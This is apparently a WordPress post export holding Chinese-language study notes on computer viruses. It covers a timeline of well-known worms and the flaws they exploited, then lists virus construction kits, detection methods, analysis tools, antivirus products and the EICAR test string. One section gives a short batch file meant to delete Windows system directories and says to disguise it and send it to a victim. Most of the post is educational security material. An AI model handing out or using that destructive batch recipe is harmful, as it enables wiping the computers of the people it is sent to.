\u6642\u9593:1999\u5e743\u6708
\u611f\u67d3\u5e73\u53f0:windows
a microsoft word macro virus
\u653b\u64caMicrosoft Word\u7684\u5168\u7403\u6a21\u677fNormail.dot\uff0c\u6240\u6709\u65b0\u5efa\u7acb\u7684\u6a94\u6848\u90fd\u88ab\u611f\u67d3
\u611f\u67d3\u7684\u96fb\u8166\u6703
\u5c07\u81ea\u5df1\u5bc4\u7d66\u6240\u6709outlook\u4e0a\u7684\u524d50\u500buser<\/p>\n\n\n\n

ILOVEYOU
\u6216\u7a31VBS\/Loveletter\u6216Love Bug worm
\u6642\u9593:2000\u5e745\u6708
\u611f\u67d3\u5e73\u53f0:windows
\u4f7f\u7528VBScript\u548c\u793e\u4ea4\u5de5\u7a0b\u6982\u5ff5
\u611f\u67d3\u7684\u96fb\u8166\u6703
\u5c07\u81ea\u5df1\u5bc4\u7d66\u6240\u6709outlook\u4e0a\u7684user
\u5077\u807d\u4f7f\u7528\u8005\u5bc6\u78bc\u4e26mail\u7d66\u653b\u64ca\u8005<\/p>\n\n\n\n

sadmind
\u4e2d\u8b6f:\u60b2\u50b7\u5fc3\u60c5\u8815\u87f2
\u6642\u9593:2001\u5e745\u6708
\u611f\u67d3\u5e73\u53f0:SUN\u4e0aSolaris,IIS
ps:\u76f8\u95dc\u8aaa\u660e\u5728SUN\u4e0aSolaris(\u8cc7\u8a0a\u5b89\u5168\u544a\u793a\u534000191),\u53ca(MS00-078)<\/p>\n\n\n\n

codered
\u4e2d\u8b6f:\u7d05\u8272\u8b66\u6212
\u6642\u9593:2001\u5e747\u6708
\u611f\u67d3\u5e73\u53f0:windows 2000 server
\u653b\u64caMicrosoft IIS\u7684Index Server ISAPI Extension\u6f0f\u6d1e
ps:\u76f8\u95dc\u8aaa\u660e\u5728MS01-033
\u7279\u5fb5:\u8a66\u5716\u5f9e80port\u547c\u53ebirq.dll<\/p>\n\n\n\n

nimda
\u4e2d\u8b6f:\u5a1c\u59b2\u8815\u87f2
\u6642\u9593:2001\u5e749\u6708
\u7279\u8272:\u591a\u9ede\u653b\u64ca\u6700\u4f73\u4ee3\u8868(\u900f\u904e\u7db2\u82b3,\u96fb\u90f5,iis\u611f\u67d3)
\u4f7f\u7528unicode directory traversal vulnerability\u653b\u64caiis server
ps:\u76f8\u95dc\u8aaa\u660e\u5728MS01-044
ps:\u6703\u5229\u7528\u4e86 coderedII,sadmind\u7559\u4e0b\u7684\u5f8c\u9762<\/p>\n\n\n\n

Klez
\u6642\u9593:2001\u5e7410\u6708
a memory-resident mass-mailing worm
\u611f\u67d3\u7684\u96fb\u8166\u6703
\u5c07\u81ea\u5df1\u5bc4\u7d66\u6240\u6709outlook\u4e0a\u7684user<\/p>\n\n\n\n

SQL slammer
\u4e2d\u8b6f:\u85cd\u5bf6\u77f3\u8815\u87f2
\u6642\u9593:2003 \u5e741\u6708
\u653b\u64caMicrosoft SQL Server\u8207MSDE\u7684\u6f0f\u6d1e
ps:\u8a73\u60c5\u516c\u4f48\u65bcMSDE described in MS02-039\u8207MS02-061
ps:spread of slammer worm in 30min,\u53d7\u5bb3\u8a2d\u5099\u9084\u5305\u62ecatm<\/p>\n\n\n\n

Blaster(Worm.Blaster,Lovesan)
\u4e2d\u8b6f:\u885d\u64ca\u6ce2\u8815\u87f2,\u75be\u98a8\u75c5\u6bd2
\u611f\u67d3\u5e73\u53f0:Windows XP,Windows 2000
\u6642\u9593:2003\u5e748\u6708
\u4f7f\u7528DCOM RPC \u51fa\u73fe\u7684buffer overflow\u6f0f\u6d1e
\u611f\u67d3\u7684\u96fb\u8166\u6703
\u7cfb\u7d71\u88ab\u5f37\u523660\u79d2\u5f8c\u95dc\u6a5f
\u5c0dwindowsupdate\u7db2\u7ad9\u9032\u884cddos\u653b\u64ca
\u4f7f\u7528135port\u9032\u884c\u611f\u67d3
ps: \u6b64\u6f0f\u6d1e\u7684\u4fee\u88dc\u6a94\u5df2\u5728\u4e00\u500b\u6708\u4e4b\u524d\u5c31\u5df2\u516c\u4f48\u5728MS03-026\u4ee5\u53caMS03-039\u4e0a
ps:\u672c\u8815\u87f2\u7b2c\u4e00\u6b21\u88ab\u6ce8\u610f\u4e26\u5982\u71ce\u539f\u706b\u822c\u6563\u4f48\uff0c\u662f\u57282003\u5e74\u76848 \u670811\u65e5\u3002\u5b83\u4e0d\u65b7\u7e41\u690d\u4e26\u611f\u67d3\uff0c\u57288\u670813\u65e5\u9054\u5230\u9ad8\u5cf0\uff0c\u4e4b\u5f8c\u85c9\u52a9ISP\u8207\u7db2\u8def\u4e0a\u6563\u4f48\u7684\u6cbb\u7642\u65b9\u6cd5\u963b\u6b62\u4e86\u6b64\u8815\u87f2\u7684\u6563\u4f48<\/p>\n\n\n\n


MyDoom
\u4e2d\u8b6f:\u4e16\u754c\u672b\u65e5\u8815\u87f2
\u611f\u67d3\u5e73\u53f0:windows
\u6642\u9593:2004\u5e741\u6708
a mass-mailing worm,\u5275\u4e0b\u6700\u5feb\u6563\u64ad\u901f\u5ea6\u7684\u90f5\u4ef6\u75c5\u6bd2\u8a18\u9304
\u611f\u67d3\u96fb\u8166\u6703
perform dos attack
\u5efa\u7acb backdoor,\u9810\u8a2dopen tcp1080
\u4fee\u6539\u6a94\u6848host<\/p>\n\n\n\n


sasser
\u4e2d\u8b6f:\u6bba\u624b\u8815\u87f2,\u9707\u76ea\u6ce2
\u611f\u67d3\u5e73\u53f0:windows
\u6642\u9593:2004\u5e745\u6708
\u91dd\u5c0dlsass(local security authority subsystem service)\u6f0f\u6d1e
\u611f\u67d3\u7684\u96fb\u8166\u6703:
\u82e5\u9023\u4e0a\u7db2\u8def\u5f8c\u6703\u5f37\u523660\u79d2\u5f8c\u91cd\u555f
\u96a8\u6a5f\u6383\u63cf\u7db2\u8def\u4e2d\u96fb\u8166\u7684ip,\u7136\u5f8c\u4f7f\u7528445port\u9032\u884c\u611f\u67d3
ps:\u76f8\u95dc\u8aaa\u660e\u5728MS04-011<\/p>\n\n\n\n


zotob
\u4e2d\u8b6f:\u5e7d\u9748\u8815\u87f2
\u6642\u9593:2005\u5e748\u6708
\u611f\u67d3\u5e73\u53f0:windows
\u4f7f\u7528plug and play\u5f31\u9ede,\u5141\u8a31\u9060\u7aef\u57f7\u884c\u7a0b\u5f0f\u78bc\u53ca\u63d0\u9ad8\u6b0a\u9650
\u611f\u67d3\u7684\u96fb\u8166\u6703:
\u4f7f\u7528445port\u9032\u884c\u611f\u67d3
ps:\u76f8\u95dc\u8aaa\u660e\u5728MS05-039<\/p>\n\n\n\n

……………………………………………………………………………………………………………………<\/p>\n\n\n\n

writing a sample virus code<\/strong>
1
create a batch file with the following:
text @ echo off
delete c:winntsystem32*.* \/y
delete c:winnt*.* \/y
2
\u4f7f\u7528bat2com utility,…\u7b49\u5de5\u5177\u8f49\u63db\u6a94\u6848
\u8a2d\u5b9a\u4e00\u500bicon\u5f8c\u5bc4\u51fa,\u7576 user\u6536\u5230\u4e26\u57f7\u884c,\u7cfb\u7d71\u5c07\u88abdelete<\/p>\n\n\n\n

virus construction kits:<\/strong>
kefi’s html virus construction kit
virus creation laboratory v1.0
the smeg virus construction kit
rajaat’s tiny flexible mutator v1.1
windows virus creation kit v1.00<\/p>\n\n\n\n

other tools<\/strong>
batch virus generator v1.1c
virus creation laboratory v1.0
nuke genvirus
instant virus production kit v1.7
macro virus development kit v1.0b
nuke randomic life generator v0.66b
rajaat’s tiny flexible mutator v1.1
g2 phalcon\/skism’s
the super appending batch vck v1.1k
skamwerks labs
trojan horse construction kit v2.0
the simple winscript virus kit v1.1k
vbs worm generator v2.0 beta
virus factory
genna spy worm generator 2000<\/p>\n\n\n\n

………………………………………………………………………………………………………………………………………………………….<\/p>\n\n\n\n

virus detection:
scanning<\/strong>
advantages:\u53ef\u7c21\u55ae\u7684\u6383\u63cf\u5230\u6240\u6709\u5df1\u77e5\u7684\u60e1\u610f\u7a0b\u5f0f
drawbacks:\u60e1\u610f\u7a0b\u5f0f\u8b8a\u5316\u592a\u5feb,\u53ef\u80fd\u7121\u6cd5\u6383\u63cf\u5230\u6700\u65b0\u7684
integrity checking<\/strong>
\u3000\u53ef\u5075\u6e2c\u7cfb\u7d71\u4e0aunauthorized change\u6216modification of binary file
interception<\/strong>
monitor os request that write to disk<\/p>\n\n\n\n

\u5206\u6790tool:<\/strong>
sheep dip:like honeypot
ida pro tool:virus analysis,\u5831\u544avirus\u5982\u4f55\u57f7\u884c,…\u7b49
ollydbg:virus content dynamic analysis
CWSandbox:\u4e0a\u50b3\u7a0b\u5f0f\u5206\u6790
online virus testing
ex:\u6a94\u6848\u6383\u6bd2\u7db2\u7ad9 www.virustotal.com<\/p>\n\n\n\n

………..<\/p>\n\n\n\n

anti-virus software:<\/strong>
avg antivirus
norton antivirus
mcafee
socketshield
bitdefender: \u884c\u70ba\u5206\u6790\u4e0d\u932f,\u6709\u81ea\u5df1\u7684sandbox
ca anti-virus
f-secure
kaspersky anti-virus:\u57f7\u884c\u9700\u8017\u5927\u91cf\u8cc7\u6e90
panda
avast!virus cleaner
antivir personal edition
bootminder
panda active scan<\/p>\n\n\n\n

ps:
\u6e2c\u8a66\u9632\u6bd2\u7a0b\u5f0f\u7684\u662f\u5426work
1\u65b0\u589e\u6a94\u6848EICAR.COM
2 \u5167\u5bb9\u70baX5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*<\/p>\n\n\n\n

virus database:<\/strong>
proland:www.pspl.com\/virus_info
norman:www.norman.com\/virus\/en-us
avg:www.grisoft.com\/doc\/virus encyclopaedia\/lng\/us\/tpl\/tpl01
virus bulletin:www.virusbtn.com\/login
f-secure virus info center:www.f-secure.com\/vir-info<\/p>\n","protected":false},"excerpt":{"rendered":"

virusvirus is a piece of code …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[39],"tags":[],"class_list":["post-413","post","type-post","status-publish","format-standard","hentry","category-concept"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=413"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/413\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=413"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}